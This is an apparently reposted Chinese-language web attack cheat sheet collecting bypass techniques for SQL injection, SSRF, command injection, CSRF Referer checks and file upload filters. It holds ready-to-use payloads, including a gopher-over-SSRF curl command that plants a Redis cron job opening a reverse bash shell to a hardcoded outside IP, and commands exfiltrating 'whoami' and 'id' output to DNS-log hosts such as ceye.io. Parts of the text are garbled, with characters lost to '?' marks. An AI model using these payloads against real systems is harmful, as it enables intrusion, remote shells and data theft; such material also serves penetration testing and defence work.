SQL注入
十六进制绕过引号
slect table_name from information_schema.table where table_schema="sqli";
slect table_name from information_schema.table where table_schema=0x73716c69;
slect table_name from information_schema.table where table_schema=CHAR(115, 113, 108, 105);
|

like或者in绕过等号
select * from admin where id in (1,2,3,4);
select * from admin where id like 1;
|

join绕过逗号
SELECT * FROM admin where id = 1 union select 1,2,group_concat(user(),‘ ‘,database(),‘ ‘,@@datadir)
SELECT * FROM admin where id = 1 union select * from ((select 1)A join (select 2)B join (select group_concat(user(),‘ ‘,database(),‘ ‘,@@datadir))C)
|


limit逗号的绕过
select * from admin limit 0,2;
select * from admin limit 2 offset 0;
|

between绕过等号
select * from admin where id between 1 and 3;
|

空格绕过
select * from admin where id=1;
select/**/*/**/from/**/admin/**/where/**/id=1;
select/*1*/*from/*1*/admin/*1*/where/*1*/id=1;
select * from admin where id=1;
|

符号代替文字绕过
MySQL注释

SELECT * FROM Users WHERE id =’1’AND MID(VERSION()1,1)=’5’;
等价函数替换
hex()、bin() ==> ascii() sleep() ==>benchmark() concat_ws()==>group_concat() substr((select ‘password‘),1,1) = 0x70 strcmp(left(‘password‘,1), 0x69) = 1 strcmp(left(‘password‘,1), 0x70) = 0 strcmp(left(‘password‘,1), 0x71) = -1 mid()、substr() ==> substring() @@user ==> user() @@datadir ==> datadir()
|
SSRF
限制协议绕过
通过HTTP(S)的链接302跳转到gopher协议上。
<?php $schema = $_GET[‘s‘]; $ip = $_GET[‘i‘]; $port = $_GET[‘p‘]; $query = $_GET[‘q‘]; if(empty($port)){ header("Location: $schema://$ip/$query"); } else { header("Location: $schema://$ip:$port/$query"); }
|
# dict protocol - 探测Redis dict://127.0.0.1:6379/info curl -vvv ‘http://sec.com:8082/ssrf2.php?url=http://sec.com:8082/302.php?s=dict&i=127.0.0.1&port=6379&query=info‘
# file protocol - 任意文件读取 curl -vvv ‘http://sec.com:8082/ssrf2.php?url=http://sec.com:8082/302.php?s=file&query=/etc/passwd‘
# gopher protocol - 一键反弹Bash # * 注意: gopher跳转的时候转义和`url`入参的方式有些区别 curl -vvv ‘http://sec.com:8082/ssrf_only_http_s.php?url=http://sec.com:8082/302.php?s=gopher&i=127.0.0.1&p=6389&query=_*1%0d%0a$8%0d%0aflushall%0d%0a*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$64%0d%0a%0d%0 a%0a%0a*/1%20*%20*%20*%20*%20bash%20-i%20>&%20/dev/tcp/103.21.140.84/6789%200>&1%0a%0a%0a%0a%0a%0d%0a%0d%0a%0d%0a*4%0d %0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3 %0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0aquit%0d%0a‘
|
IP限制绕过
利用[::]
利用[::]绕过localhost http://[::]:80/ >>> http://127.0.0.1
|
在windows尝试了chrome Firefox IE
都无法访问
在Linux下Firefox
是可以访问的。

Linux下curl wget
也是可以访问的。


利用@
http://example.com@127.0.0.1 => http://127.0.0.1
|
在firefox
下会弹出提示框。chrome
直接跳转。
利用短地址
http://dwz.cn/11SMa >>> http://127.0.0.1
|
利用xip.io和xip.name
10.0.0.1.xip.io 10.0.0.1
www.10.0.0.1.xip.io 10.0.0.1
mysite.10.0.0.1.xip.io 10.0.0.1
foo.bar.10.0.0.1.xip.io 10.0.0.1 10.0.0.1.xip.name resolves to 10.0.0.1
www.10.0.0.2.xip.name resolves to 10.0.0.2
foo.10.0.0.3.xip.name resolves to 10.0.0.3
bar.baz.10.0.0.4.xip.name resolves to 10.0.0.4
|

利用DNS解析
在域名上设置A记录,指向127.0.1

利用进制转换
十进制 ---||||||> 十六进制 ---||||||> 八进制 然后在访问时 指定协议然后加个0
http://0[八进制] 比如 115.239.210.26 首先用.分割数字 115 239 210 26 然后选择10进制转换16进制!
(要用0来表示前缀,可以是一个0也可以是多个0 跟XSS中多加几个0来绕过过滤一样!)
首先把这四段数字给 转成 16 进制!结果:73 ef d2 1a 然后把 73efd21a 这十六进制一起转换成8进制!
结果:16373751032
然后指定协议 http:// 用0表示前缀 加上结果 链接:
http://0016373751032
|
利用Enclosed alphanumerics
利用Enclosed alphanumerics ???????.??? >>> example.com List: ① ② ③ ④ ⑤ ⑥ ⑦ ⑧ ⑨ ⑩ ? ? ? ? ? ? ? ? ? ? ⑴ ⑵ ⑶ ⑷ ⑸ ⑹ ⑺ ⑻ ⑼ ⑽ ⑾ ⑿ ⒀ ⒁ ⒂ ⒃ ⒄ ⒅ ⒆ ⒇ ⒈ ⒉ ⒊ ⒋ ⒌ ⒍ ⒎ ⒏ ⒐ ⒑ ⒒ ⒓ ⒔ ⒕ ⒖ ⒗ ⒘ ⒙ ⒚ ⒛ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ?
|

利用句号

命令执行
空格绕过
< 符号
%09 符号
IFS$9 符号
${IFS} 符号
|


变量形式绕过

base64编码
`echo "d2hvYW1p"|base64 -d`
|

DNS通道获取回显
linux:
curl xxxx.ceye.io/`whoami`
ping -c 1 `whoami`.xxxx.ceye.io
|


特殊字符或者是空格出现的话,这时候可以通过一些编码来,比如base64
curl http://xxxx.ceye.io/$(id|base64)
|

windows:
http请求: for /F %x in (‘whoami‘) do start http://xxx.ceye.io/%x
|


dns请求: 获取计算机名:for /F "delims=" %i in (‘whoami‘) do ping -n 1 %i.t00ls.xxx.tu4.org 获取用户名:for /F "delims= tokens=2" %i in (‘whoami‘) do ping -n 1 %i.t00ls.xxx.tu4.org
|
用ceye.io
获取不到回显,尝试了用t00ls的T00ls DNSLOG

单引号和双引号
单引号双引号要成对出现

CSRF 绕过Referer
条件限制 不一定所有的Refere验证就可以绕过
Referer为空条件下
利用ftp://,http://,https://,file://,javascript:,data:这个时候浏览器地址栏是file://开头的
如果这个HTML页面向任何http站点提交请求的话,这些请求的Referer都是空的。
利用https协议 https向http跳转的时候Referer为空
判断Referer是某域情况下绕过
比如你找的csrf是xxx.com 验证的referer是验证的*.xx.com
可以找个二级域名 之后<img "csrf地址"="">之后在把文章地址发出去 就可以伪造。
判断Referer是否存在某关键词
referer判断存在不存在google.com这个关键词
在网站新建一个google.com目录 把CSRF存放在google.com目录,即可绕过
判断referer是否有某域名
判断了Referer开头是否以126.com以及126子域名 不验证根域名为126.com
那么我这里可以构造子域名x.126.com.xxx.com
文件上传
解析漏洞
IIS6.0解析漏洞
IIS6.0会把以下3种类型的文件会被IIS当作脚本文件(ASP、PHP、ASPX)来解析执行
Apache解析漏洞
在低版本的Apache中,系统会从右向左识别后缀,直至找到一个可以识别的后缀,然后将文件以该可识别的后缀进行解析。
shell.php.v1.xxx
-- 系统无法识别xxx后缀名,则判断v1后缀名 -- 系统仍无法识别v1后缀名,则判断php后缀名 -- 系统可识别php后缀名,则将文件作为PHP文件解析
|
Nginx解析漏洞
Nginx<=0.8.37,在已上传到服务器的包含WEBSHELL代码的图片后面加上%00.php会将 /xx.jpg%00.php当作PHP文件来进行解析执行。
CGI解析漏洞
?CGI的解析漏洞主要影响IIS>7.0 和 Nginx 这两个WEB容器,它的产生原因是因为PHP.ini中cgi.fix_pathinfo=1,从而导致把其他格式文件按照PHP脚本来进行解析执行。
??Payload:
遇到这种环境,攻击者只需要找到一个上传点,然后上传一个图片马,然后访问图片构造Payload即可获取WEBSHELL。但此情景只能以PHP脚本解析执行文件。
客户端检测绕过(JavaScript检测)
这类检测通常在上传页面里含有专门检测文件上传的javascript代码最常见的就是检测扩展名是否合法
可以用firebug之类的插件把它禁掉或者通过burp之类的代理工具进行绕过提交
用burp进行代理修改先将文件扩展名改成jpg
服务端检测绕过(MIME检测)
MIME验证是通过获取上传文件时数据包中Content-Type的值来判断文件是否合法的。以下是常见图片的后缀和Content-Type对应表:
后缀 Content-Type
.jpg image/jpeg .gif image/gif .png image/png
|
MIME验证只需要攻击者抓取上传数据包,将数据包中的Content-Type的值修改为合法图片的Content-Type值即可绕过。
服务端检测绕过(目录路径检测)
目录路径检测,一般就检测路径是否合法
洞成因是因为对目录路径的检测不够严谨而导致可以用0x00截断进行攻击
服务端检测绕过(文件扩展名检测)
-
文件名大小写绕过
-
名单列表绕过
-
特殊文件名绕过
-
0x00截断绕过
-
htaccess文件攻击
-
解析调用/漏洞绕过
服务端检测绕过(文件内容检测)

图像文件相关信息检测常用的就是getimagesize()函数只需要把文件头部分伪造好就ok了,
就是在幻数的基础上还加了一些文件信息有点像下面的结构
GIF89a (...somebinarydataforimage...) <?phpphpinfo();?> (...skippingtherestofbinarydata...)
|
常见的是图像渲染测试,再变态点的甚至是进行二次渲染
对渲染/加载测试的攻击方式是代码注入绕过
对二次渲染的攻击方式是攻击文件加载器自身
渲染/加载测试攻击-代码注入绕过
可以用图像处理软件对一张图片进行代码注入
用winhex看数据可以分析出这类工具的原理是
在不破坏文件本身的渲染情况下
找一个空白区进行填充代码,
一般会是图片的注释区对于渲染测试基本上都能绕过,毕竟本身的文件结构是完整的
from:https://uknowsec.cn/posts/notes/Web%E4%B8%AD%E5%B8%B8%E8%A7%81%E7%9A%84%E7%BB%95%E8%BF%87%E5%92%8C%E6%8A%80%E5%B7%A7%E6%80%BB%E7%BB%93.html
Web中常见的绕过和技巧
原文:https://www.cnblogs.com/mrhonest/p/10349108.html